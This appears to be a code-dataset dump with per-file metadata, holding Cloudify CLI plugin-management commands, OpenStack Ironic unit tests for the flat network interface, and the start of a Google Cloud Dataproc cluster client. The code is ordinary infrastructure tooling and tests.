) if execution.error: logger.info("Execution of workflow '{0}' for blueprint " "'{1}' failed. [error={2}]" .format(execution.workflow_id, blueprint_id, execution.error)) logger.info('Failed updating plugins for blueprint {0}. ' 'Plugins update ID: {1}. Execution id: {2}' .format(blueprint_id, plugins_update.id, execution.id)) raise SuppressedCloudifyCliError() logger.info("Finished executing workflow '{0}'".format( execution.workflow_id)) logger.info('Successfully updated plugins for blueprint {0}. ' 'Plugins update ID: {1}. Execution id: {2}' .format(blueprint_id, plugins_update.id, execution.id)) @plugins.command( name='get-update', short_help='Retrieve plugins update information [manager only]' ) @cfy.argument('plugins-update-id') @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugins update') @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def manager_get_update(plugins_update_id, logger, client, tenant_name): """Retrieve information for a specific plugins update `PLUGINS_UPDATE_ID` is the id of the plugins update to get information on. """ utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Retrieving plugins update {0}...'.format(plugins_update_id)) plugins_update_dict = client.plugins_update.get(plugins_update_id) print_single( PLUGINS_UPDATE_COLUMNS, plugins_update_dict, 'Plugins update:') @plugins.command(name='history', short_help='List plugins updates ' '[manager only]') @cfy.options.blueprint_id() @cfy.options.sort_by() @cfy.options.descending @cfy.options.tenant_name_for_list( required=False, resource_name_for_help='plugins update') @cfy.options.all_tenants @cfy.options.search @cfy.options.pagination_offset @cfy.options.pagination_size @cfy.options.common_options @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def manager_history(blueprint_id, sort_by, descending, all_tenants, search, pagination_offset, pagination_size, logger, client, tenant_name): """Show blueprint history by listing plugins updates If `--blueprint-id` is provided, list plugins updates for that blueprint. Otherwise, list plugins updates for all blueprints. """ utils.explicit_tenant_name_message(tenant_name, logger) if blueprint_id: logger.info('Listing plugins updates for blueprint {0}...'.format( blueprint_id)) else: logger.info('Listing all plugins updates...') plugins_updates = client.plugins_update.list( sort=sort_by, is_descending=descending, _all_tenants=all_tenants, _search=search, _offset=pagination_offset, _size=pagination_size, blueprint_id=blueprint_id ) total = plugins_updates.metadata.pagination.total print_data( PLUGINS_UPDATE_COLUMNS, plugins_updates, 'Plugins updates:') logger.info('Showing {0} of {1} plugins updates'.format( len(plugins_updates), total))

37.053613

79

0.669602

m cloudify_cli.logger import get_events_logger from cloudify_cli.exceptions import SuppressedCloudifyCliError from cloudify_rest_client.constants import VISIBILITY_EXCEPT_PRIVATE from .. import utils from ..table import print_data, print_single from ..cli import helptexts, cfy from ..utils import (prettify_client_error, get_visibility, validate_visibility) PLUGIN_COLUMNS = ['id', 'package_name', 'package_version', 'distribution', 'supported_platform', 'distribution_release', 'uploaded_at', 'visibility', 'tenant_name', 'created_by', 'yaml_url_path'] PLUGINS_UPDATE_COLUMNS = ['id', 'state', 'blueprint_id', 'temp_blueprint_id', 'execution_id', 'deployments_to_update', 'visibility', 'created_at', 'forced'] GET_DATA_COLUMNS = ['file_server_path'] EXCLUDED_COLUMNS = ['archive_name', 'distribution_version', 'excluded_wheels', 'package_source', 'supported_py_versions', 'wheels'] @cfy.group(name='plugins') @cfy.options.common_options def plugins(): pass @plugins.command(name='validate', short_help='Validate a plugin') @cfy.argument('plugin-path') @cfy.options.common_options @cfy.pass_logger def validate(plugin_path, logger): logger.info('Validating plugin {0}...'.format(plugin_path)) wagon.validate(plugin_path) logger.info('Plugin validated successfully') @plugins.command(name='delete', short_help='Delete a plugin [manager only]') @cfy.argument('plugin-id') @cfy.options.force(help=helptexts.FORCE_DELETE_PLUGIN) @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def delete(plugin_id, force, logger, client, tenant_name): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Deleting plugin {0}...'.format(plugin_id)) client.plugins.delete(plugin_id=plugin_id, force=force) logger.info('Plugin deleted') @plugins.command(name='upload', short_help='Upload a plugin [manager only]') @cfy.argument('plugin-path') @cfy.options.plugin_yaml_path() @cfy.options.private_resource @cfy.options.visibility() @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.pass_context @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def upload(ctx, plugin_path, yaml_path, private_resource, visibility, logger, client, tenant_name): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Creating plugin zip archive..') wagon_path = utils.get_local_path(plugin_path, create_temp=True) yaml_path = utils.get_local_path(yaml_path, create_temp=True) zip_path = utils.zip_files([wagon_path, yaml_path]) progress_handler = utils.generate_progress_handler(zip_path, '') visibility = get_visibility(private_resource, visibility, logger) logger.info('Uploading plugin archive (wagon + yaml)..') try: plugin = client.plugins.upload(zip_path, visibility, progress_handler) logger.info("Plugin uploaded. Plugin's id is {0}".format(plugin.id)) finally: os.remove(wagon_path) os.remove(yaml_path) os.remove(zip_path) @plugins.command(name='bundle-upload', short_help='Upload a bundle of plugins [manager only]') @cfy.options.plugins_bundle_path @cfy.pass_client() @cfy.pass_logger def upload_caravan(client, logger, path): if not path: logger.info("Starting upload of plugins bundle, " "this may take few minutes to complete.") path = 'http://repository.cloudifysource.org/' \ 'cloudify/wagons/cloudify-plugins-bundle.tgz' progress = utils.generate_progress_handler(path, '') plugins_ = client.plugins.upload(path, progress_callback=progress) logger.info("Bundle uploaded, {0} Plugins installed." .format(len(plugins_))) if len(plugins_) > 0: logger.info("The plugins' ids are:\n{0}\n". format('\n'.join([p.id for p in plugins_]))) @plugins.command(name='download', short_help='Download a plugin [manager only]') @cfy.argument('plugin-id') @cfy.options.output_path @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.pass_logger @cfy.pass_client() def download(plugin_id, output_path, logger, client, tenant_name): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Downloading plugin {0}...'.format(plugin_id)) plugin_name = output_path if output_path else plugin_id progress_handler = utils.generate_progress_handler(plugin_name, '') target_file = client.plugins.download(plugin_id, output_path, progress_handler) logger.info('Plugin downloaded as {0}'.format(target_file)) @plugins.command(name='get', short_help='Retrieve plugin information [manager only]') @cfy.argument('plugin-id') @cfy.options.common_options @cfy.options.get_data @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def get(plugin_id, logger, client, tenant_name, get_data): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Retrieving plugin {0}...'.format(plugin_id)) plugin = client.plugins.get(plugin_id, _get_data=get_data) _transform_plugin_response(plugin) columns = PLUGIN_COLUMNS + GET_DATA_COLUMNS if get_data else PLUGIN_COLUMNS print_single(columns, plugin, 'Plugin:') @plugins.command(name='list', short_help='List plugins [manager only]') @cfy.options.sort_by('uploaded_at') @cfy.options.descending @cfy.options.tenant_name_for_list( required=False, resource_name_for_help='plugin') @cfy.options.all_tenants @cfy.options.search @cfy.options.common_options @cfy.options.get_data @cfy.options.pagination_offset @cfy.options.pagination_size @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def list(sort_by, descending, tenant_name, all_tenants, search, pagination_offset, pagination_size, logger, client, get_data): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Listing all plugins...') plugins_list = client.plugins.list(sort=sort_by, is_descending=descending, _all_tenants=all_tenants, _search=search, _get_data=get_data, _offset=pagination_offset, _size=pagination_size) for plugin in plugins_list: _transform_plugin_response(plugin) columns = PLUGIN_COLUMNS + GET_DATA_COLUMNS if get_data else PLUGIN_COLUMNS print_data(columns, plugins_list, 'Plugins:') total = plugins_list.metadata.pagination.total logger.info('Showing {0} of {1} plugins'.format(len(plugins_list), total)) def _transform_plugin_response(plugin): for column in EXCLUDED_COLUMNS: plugin.pop(column, None) @plugins.command(name='set-global', short_help="Set the plugin's visibility to global") @cfy.argument('plugin-id') @cfy.options.common_options @cfy.assert_manager_active() @cfy.pass_client(use_tenant_in_header=True) @cfy.pass_logger def set_global(plugin_id, logger, client): status_codes = [400, 403, 404] with prettify_client_error(status_codes, logger): client.plugins.set_global(plugin_id) logger.info('Plugin `{0}` was set to global'.format(plugin_id)) logger.info("This command will be deprecated soon, please use the " "'set-visibility' command instead") @plugins.command(name='set-visibility', short_help="Set the plugin's visibility") @cfy.argument('plugin-id') @cfy.options.visibility(required=True, valid_values=VISIBILITY_EXCEPT_PRIVATE) @cfy.options.common_options @cfy.assert_manager_active() @cfy.pass_client(use_tenant_in_header=True) @cfy.pass_logger def set_visibility(plugin_id, visibility, logger, client): validate_visibility(visibility, valid_values=VISIBILITY_EXCEPT_PRIVATE) status_codes = [400, 403, 404] with prettify_client_error(status_codes, logger): client.plugins.set_visibility(plugin_id, visibility) logger.info('Plugin `{0}` was set to {1}'.format(plugin_id, visibility)) @plugins.command(name='update', short_help='Update the plugins of all the deployments of ' 'the blueprint [manager only]') @cfy.argument('blueprint-id') @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugin') @cfy.assert_manager_active() @cfy.options.include_logs @cfy.options.json_output @cfy.pass_logger @cfy.pass_client() @cfy.options.force(help=helptexts.FORCE_PLUGINS_UPDATE) def update(blueprint_id, include_logs, json_output, logger, client, tenant_name, force): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Updating the plugins of the deployments of the blueprint ' '{}'.format(blueprint_id)) plugins_update = client.plugins_update.update_plugins(blueprint_id, force) events_logger = get_events_logger(json_output) execution = execution_events_fetcher.wait_for_execution( client, client.executions.get(plugins_update.execution_id), events_handler=events_logger, include_logs=include_logs, timeout=None ) if execution.error: logger.info("Execution of workflow '{0}' for blueprint " "'{1}' failed. [error={2}]" .format(execution.workflow_id, blueprint_id, execution.error)) logger.info('Failed updating plugins for blueprint {0}. ' 'Plugins update ID: {1}. Execution id: {2}' .format(blueprint_id, plugins_update.id, execution.id)) raise SuppressedCloudifyCliError() logger.info("Finished executing workflow '{0}'".format( execution.workflow_id)) logger.info('Successfully updated plugins for blueprint {0}. ' 'Plugins update ID: {1}. Execution id: {2}' .format(blueprint_id, plugins_update.id, execution.id)) @plugins.command( name='get-update', short_help='Retrieve plugins update information [manager only]' ) @cfy.argument('plugins-update-id') @cfy.options.common_options @cfy.options.tenant_name(required=False, resource_name_for_help='plugins update') @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def manager_get_update(plugins_update_id, logger, client, tenant_name): utils.explicit_tenant_name_message(tenant_name, logger) logger.info('Retrieving plugins update {0}...'.format(plugins_update_id)) plugins_update_dict = client.plugins_update.get(plugins_update_id) print_single( PLUGINS_UPDATE_COLUMNS, plugins_update_dict, 'Plugins update:') @plugins.command(name='history', short_help='List plugins updates ' '[manager only]') @cfy.options.blueprint_id() @cfy.options.sort_by() @cfy.options.descending @cfy.options.tenant_name_for_list( required=False, resource_name_for_help='plugins update') @cfy.options.all_tenants @cfy.options.search @cfy.options.pagination_offset @cfy.options.pagination_size @cfy.options.common_options @cfy.assert_manager_active() @cfy.pass_client() @cfy.pass_logger def manager_history(blueprint_id, sort_by, descending, all_tenants, search, pagination_offset, pagination_size, logger, client, tenant_name): utils.explicit_tenant_name_message(tenant_name, logger) if blueprint_id: logger.info('Listing plugins updates for blueprint {0}...'.format( blueprint_id)) else: logger.info('Listing all plugins updates...') plugins_updates = client.plugins_update.list( sort=sort_by, is_descending=descending, _all_tenants=all_tenants, _search=search, _offset=pagination_offset, _size=pagination_size, blueprint_id=blueprint_id ) total = plugins_updates.metadata.pagination.total print_data( PLUGINS_UPDATE_COLUMNS, plugins_updates, 'Plugins updates:') logger.info('Showing {0} of {1} plugins updates'.format( len(plugins_updates), total))

true

1c4228dbb2d4de48a3adda7dd0f253c0aee5db36

8,872

py

Python

ironic-plugin-pike/ironic/tests/unit/drivers/modules/network/test_flat.py

saintifly/Server_Manage_Plugin

ae272e7e3ca065236cc7bc86c296ff9eb83f1bb9

[ "Apache-2.0" ]

null

ironic-plugin-pike/ironic/tests/unit/drivers/modules/network/test_flat.py

saintifly/Server_Manage_Plugin

ae272e7e3ca065236cc7bc86c296ff9eb83f1bb9

[ "Apache-2.0" ]

null

ironic-plugin-pike/ironic/tests/unit/drivers/modules/network/test_flat.py

saintifly/Server_Manage_Plugin

ae272e7e3ca065236cc7bc86c296ff9eb83f1bb9

[ "Apache-2.0" ]

1

2019-01-11T16:00:23.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import mock from neutronclient.common import exceptions as neutron_exceptions from oslo_config import cfg from oslo_utils import uuidutils from ironic.common import exception from ironic.common import neutron from ironic.conductor import task_manager from ironic.drivers.modules.network import flat as flat_interface from ironic.tests.unit.conductor import mgr_utils from ironic.tests.unit.db import base as db_base from ironic.tests.unit.objects import utils CONF = cfg.CONF VIFMIXINPATH = 'ironic.drivers.modules.network.common.NeutronVIFPortIDMixin' class TestFlatInterface(db_base.DbTestCase): def setUp(self): super(TestFlatInterface, self).setUp() self.config(enabled_drivers=['fake']) mgr_utils.mock_the_extension_manager() self.interface = flat_interface.FlatNetwork() self.node = utils.create_test_node(self.context) self.port = utils.create_test_port( self.context, node_id=self.node.id, internal_info={ 'cleaning_vif_port_id': uuidutils.generate_uuid()}) @mock.patch('%s.vif_list' % VIFMIXINPATH) def test_vif_list(self, mock_vif_list): with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_list(task) mock_vif_list.assert_called_once_with(task) @mock.patch('%s.vif_attach' % VIFMIXINPATH) def test_vif_attach(self, mock_vif_attach): vif = mock.MagicMock() with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_attach(task, vif) mock_vif_attach.assert_called_once_with(task, vif) @mock.patch('%s.vif_detach' % VIFMIXINPATH) def test_vif_detach(self, mock_vif_detach): vif_id = "vif" with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_detach(task, vif_id) mock_vif_detach.assert_called_once_with(task, vif_id) @mock.patch('%s.port_changed' % VIFMIXINPATH) def test_vif_port_changed(self, mock_p_changed): port = mock.MagicMock() with task_manager.acquire(self.context, self.node.id) as task: self.interface.port_changed(task, port) mock_p_changed.assert_called_once_with(task, port) @mock.patch.object(flat_interface, 'LOG') def test_init_no_cleaning_network(self, mock_log): self.config(cleaning_network=None, group='neutron') flat_interface.FlatNetwork() self.assertTrue(mock_log.warning.called) @mock.patch.object(neutron, 'validate_network', autospec=True) def test_validate(self, validate_mock): with task_manager.acquire(self.context, self.node.id) as task: self.interface.validate(task) validate_mock.assert_called_once_with(CONF.neutron.cleaning_network, 'cleaning network') @mock.patch.object(neutron, 'validate_network', side_effect=lambda n, t: n) @mock.patch.object(neutron, 'add_ports_to_network') @mock.patch.object(neutron, 'rollback_ports') def test_add_cleaning_network(self, rollback_mock, add_mock, validate_mock): add_mock.return_value = {self.port.uuid: 'vif-port-id'} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_cleaning_network(task) rollback_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) add_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) validate_mock.assert_called_once_with( CONF.neutron.cleaning_network, 'cleaning network') self.port.refresh() self.assertEqual('vif-port-id', self.port.internal_info['cleaning_vif_port_id']) @mock.patch.object(neutron, 'validate_network', side_effect=lambda n, t: n) @mock.patch.object(neutron, 'remove_ports_from_network') def test_remove_cleaning_network(self, remove_mock, validate_mock): with task_manager.acquire(self.context, self.node.id) as task: self.interface.remove_cleaning_network(task) remove_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) validate_mock.assert_called_once_with( CONF.neutron.cleaning_network, 'cleaning network') self.port.refresh() self.assertNotIn('cleaning_vif_port_id', self.port.internal_info) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_set_binding_host_id( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) exp_body = {'port': {'binding:host_id': 'nova_host_id'}} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) upd_mock.assert_called_once_with('foo', exp_body) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_set_binding_host_id_portgroup( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() internal_info = {'tenant_vif_port_id': 'foo'} utils.create_test_portgroup( self.context, node_id=self.node.id, internal_info=internal_info, uuid=uuidutils.generate_uuid()) utils.create_test_port( self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra={'vif_port_id': 'bar'}, uuid=uuidutils.generate_uuid()) exp_body = {'port': {'binding:host_id': 'nova_host_id'}} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) upd_mock.assert_has_calls([ mock.call('bar', exp_body), mock.call('foo', exp_body) ]) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_no_binding_host_id( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info.pop('nova_host_id', None) self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) self.assertFalse(upd_mock.called) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_binding_host_id_raise( self, client_mock): client_mock.return_value.update_port.side_effect = \ (neutron_exceptions.ConnectionFailed()) instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) with task_manager.acquire(self.context, self.node.id) as task: self.assertRaises(exception.NetworkError, self.interface.add_provisioning_network, task)

46.208333

78

0.664675

import mock from neutronclient.common import exceptions as neutron_exceptions from oslo_config import cfg from oslo_utils import uuidutils from ironic.common import exception from ironic.common import neutron from ironic.conductor import task_manager from ironic.drivers.modules.network import flat as flat_interface from ironic.tests.unit.conductor import mgr_utils from ironic.tests.unit.db import base as db_base from ironic.tests.unit.objects import utils CONF = cfg.CONF VIFMIXINPATH = 'ironic.drivers.modules.network.common.NeutronVIFPortIDMixin' class TestFlatInterface(db_base.DbTestCase): def setUp(self): super(TestFlatInterface, self).setUp() self.config(enabled_drivers=['fake']) mgr_utils.mock_the_extension_manager() self.interface = flat_interface.FlatNetwork() self.node = utils.create_test_node(self.context) self.port = utils.create_test_port( self.context, node_id=self.node.id, internal_info={ 'cleaning_vif_port_id': uuidutils.generate_uuid()}) @mock.patch('%s.vif_list' % VIFMIXINPATH) def test_vif_list(self, mock_vif_list): with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_list(task) mock_vif_list.assert_called_once_with(task) @mock.patch('%s.vif_attach' % VIFMIXINPATH) def test_vif_attach(self, mock_vif_attach): vif = mock.MagicMock() with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_attach(task, vif) mock_vif_attach.assert_called_once_with(task, vif) @mock.patch('%s.vif_detach' % VIFMIXINPATH) def test_vif_detach(self, mock_vif_detach): vif_id = "vif" with task_manager.acquire(self.context, self.node.id) as task: self.interface.vif_detach(task, vif_id) mock_vif_detach.assert_called_once_with(task, vif_id) @mock.patch('%s.port_changed' % VIFMIXINPATH) def test_vif_port_changed(self, mock_p_changed): port = mock.MagicMock() with task_manager.acquire(self.context, self.node.id) as task: self.interface.port_changed(task, port) mock_p_changed.assert_called_once_with(task, port) @mock.patch.object(flat_interface, 'LOG') def test_init_no_cleaning_network(self, mock_log): self.config(cleaning_network=None, group='neutron') flat_interface.FlatNetwork() self.assertTrue(mock_log.warning.called) @mock.patch.object(neutron, 'validate_network', autospec=True) def test_validate(self, validate_mock): with task_manager.acquire(self.context, self.node.id) as task: self.interface.validate(task) validate_mock.assert_called_once_with(CONF.neutron.cleaning_network, 'cleaning network') @mock.patch.object(neutron, 'validate_network', side_effect=lambda n, t: n) @mock.patch.object(neutron, 'add_ports_to_network') @mock.patch.object(neutron, 'rollback_ports') def test_add_cleaning_network(self, rollback_mock, add_mock, validate_mock): add_mock.return_value = {self.port.uuid: 'vif-port-id'} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_cleaning_network(task) rollback_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) add_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) validate_mock.assert_called_once_with( CONF.neutron.cleaning_network, 'cleaning network') self.port.refresh() self.assertEqual('vif-port-id', self.port.internal_info['cleaning_vif_port_id']) @mock.patch.object(neutron, 'validate_network', side_effect=lambda n, t: n) @mock.patch.object(neutron, 'remove_ports_from_network') def test_remove_cleaning_network(self, remove_mock, validate_mock): with task_manager.acquire(self.context, self.node.id) as task: self.interface.remove_cleaning_network(task) remove_mock.assert_called_once_with( task, CONF.neutron.cleaning_network) validate_mock.assert_called_once_with( CONF.neutron.cleaning_network, 'cleaning network') self.port.refresh() self.assertNotIn('cleaning_vif_port_id', self.port.internal_info) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_set_binding_host_id( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) exp_body = {'port': {'binding:host_id': 'nova_host_id'}} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) upd_mock.assert_called_once_with('foo', exp_body) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_set_binding_host_id_portgroup( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() internal_info = {'tenant_vif_port_id': 'foo'} utils.create_test_portgroup( self.context, node_id=self.node.id, internal_info=internal_info, uuid=uuidutils.generate_uuid()) utils.create_test_port( self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra={'vif_port_id': 'bar'}, uuid=uuidutils.generate_uuid()) exp_body = {'port': {'binding:host_id': 'nova_host_id'}} with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) upd_mock.assert_has_calls([ mock.call('bar', exp_body), mock.call('foo', exp_body) ]) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_no_binding_host_id( self, client_mock): upd_mock = mock.Mock() client_mock.return_value.update_port = upd_mock instance_info = self.node.instance_info instance_info.pop('nova_host_id', None) self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) with task_manager.acquire(self.context, self.node.id) as task: self.interface.add_provisioning_network(task) self.assertFalse(upd_mock.called) @mock.patch.object(neutron, 'get_client') def test_add_provisioning_network_binding_host_id_raise( self, client_mock): client_mock.return_value.update_port.side_effect = \ (neutron_exceptions.ConnectionFailed()) instance_info = self.node.instance_info instance_info['nova_host_id'] = 'nova_host_id' self.node.instance_info = instance_info self.node.save() extra = {'vif_port_id': 'foo'} utils.create_test_port(self.context, node_id=self.node.id, address='52:54:00:cf:2d:33', extra=extra, uuid=uuidutils.generate_uuid()) with task_manager.acquire(self.context, self.node.id) as task: self.assertRaises(exception.NetworkError, self.interface.add_provisioning_network, task)

true

1c422994b9f5e1e95b9791a3d2ed123c94ba30ac

37,827

py

Python

dataproc/google/cloud/dataproc_v1beta2/gapic/cluster_controller_client.py

ryanyuan/google-cloud-python

db481bfdd6816d020d99df0d4caa307358ab1141

[ "Apache-2.0" ]

2

2021-11-26T07:08:43.000Z

2022-03-07T20:20:04.000Z

dataproc/google/cloud/dataproc_v1beta2/gapic/cluster_controller_client.py

ryanyuan/google-cloud-python

db481bfdd6816d020d99df0d4caa307358ab1141

[ "Apache-2.0" ]

null

dataproc/google/cloud/dataproc_v1beta2/gapic/cluster_controller_client.py

ryanyuan/google-cloud-python

db481bfdd6816d020d99df0d4caa307358ab1141

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Accesses the google.cloud.dataproc.v1beta2 ClusterController API.""" import functools import pkg_resources import warnings from google.oauth2 import service_account import google.api_core.client_options import google.api_core.gapic_v1.client_info import google.api_core.gapic_v1.config import google.api_core.gapic_v1.method import google.api_core.grpc_helpers import google.api_core.operation import google.api_core.operations_v1 import google.api_core.page_iterator import grpc from google.cloud.dataproc_v1beta2.gapic import cluster_controller_client_config from google.cloud.dataproc_v1beta2.gapic import enums from google.cloud.dataproc_v1beta2.gapic.transports import ( cluster_controller_grpc_transport, ) from google.cloud.dataproc_v1beta2.proto import autoscaling_policies_pb2 from google.cloud.dataproc_v1beta2.proto import autoscaling_policies_pb2_grpc from google.cloud.dataproc_v1beta2.proto import clusters_pb2 from google.cloud.dataproc_v1beta2.proto import clusters_pb2_grpc from google.cloud.dataproc_v1beta2.proto import operations_pb2 as proto_operations_pb2 from google.longrunning import operations_pb2 as longrunning_operations_pb2 from google.protobuf import duration_pb2 from google.protobuf import empty_pb2 from google.protobuf import field_mask_pb2 _GAPIC_LIBRARY_VERSION = pkg_resources.get_distribution("google-cloud-dataproc").version class ClusterControllerClient(object): """ The ClusterControllerService provides methods to manage clusters of Compute Engine instances. """ SERVICE_ADDRESS = "dataproc.googleapis.com:443" """The default address of the service.""" # The name of the interface for this client. This is the key used to # find the method configuration in the client_config dictionary. _INTERFACE_NAME = "google.cloud.dataproc.v1beta2.ClusterController" @classmethod def from_service_account_file(cls, filename, *args, **kwargs): """Creates an instance of this client using the provided credentials file. Args: filename (str): The path to the service account private key json file. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: ClusterControllerClient: The constructed client. """ credentials = service_account.Credentials.from_service_account_file(filename) kwargs["credentials"] = credentials return cls(*args, **kwargs) from_service_account_json = from_service_account_file def __init__( self, transport=None, channel=None, credentials=None, client_config=None, client_info=None, client_options=None, ): """Constructor. Args: transport (Union[~.ClusterControllerGrpcTransport, Callable[[~.Credentials, type], ~.ClusterControllerGrpcTransport]): A transport instance, responsible for actually making the API calls. The default transport uses the gRPC protocol. This argument may also be a callable which returns a transport instance. Callables will be sent the credentials as the first argument and the default transport class as the second argument. channel (grpc.Channel): DEPRECATED. A ``Channel`` instance through which to make calls. This argument is mutually exclusive with ``credentials``; providing both will raise an exception. credentials (google.auth.credentials.Credentials): The authorization credentials to attach to requests. These credentials identify this application to the service. If none are specified, the client will attempt to ascertain the credentials from the environment. This argument is mutually exclusive with providing a transport instance to ``transport``; doing so will raise an exception. client_config (dict): DEPRECATED. A dictionary of call options for each method. If not specified, the default configuration is used. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. client_options (Union[dict, google.api_core.client_options.ClientOptions]): Client options used to set user options on the client. API Endpoint should be set through client_options. """ # Raise deprecation warnings for things we want to go away. if client_config is not None: warnings.warn( "The `client_config` argument is deprecated.", PendingDeprecationWarning, stacklevel=2, ) else: client_config = cluster_controller_client_config.config if channel: warnings.warn( "The `channel` argument is deprecated; use " "`transport` instead.", PendingDeprecationWarning, stacklevel=2, ) api_endpoint = self.SERVICE_ADDRESS if client_options: if type(client_options) == dict: client_options = google.api_core.client_options.from_dict( client_options ) if client_options.api_endpoint: api_endpoint = client_options.api_endpoint # Instantiate the transport. # The transport is responsible for handling serialization and # deserialization and actually sending data to the service. if transport: if callable(transport): self.transport = transport( credentials=credentials, default_class=cluster_controller_grpc_transport.ClusterControllerGrpcTransport, address=api_endpoint, ) else: if credentials: raise ValueError( "Received both a transport instance and " "credentials; these are mutually exclusive." ) self.transport = transport else: self.transport = cluster_controller_grpc_transport.ClusterControllerGrpcTransport( address=api_endpoint, channel=channel, credentials=credentials ) if client_info is None: client_info = google.api_core.gapic_v1.client_info.ClientInfo( gapic_version=_GAPIC_LIBRARY_VERSION ) else: client_info.gapic_version = _GAPIC_LIBRARY_VERSION self._client_info = client_info # Parse out the default settings for retry and timeout for each RPC # from the client configuration. # (Ordinarily, these are the defaults specified in the `*_config.py` # file next to this one.) self._method_configs = google.api_core.gapic_v1.config.parse_method_configs( client_config["interfaces"][self._INTERFACE_NAME] ) # Save a dictionary of cached API call functions. # These are the actual callables which invoke the proper # transport methods, wrapped with `wrap_method` to add retry, # timeout, and the like. self._inner_api_calls = {} # Service calls def create_cluster( self, project_id, region, cluster, request_id=None, retry=google.api_core.gapic_v1.method.DEFAULT, timeout=google.api_core.gapic_v1.method.DEFAULT, 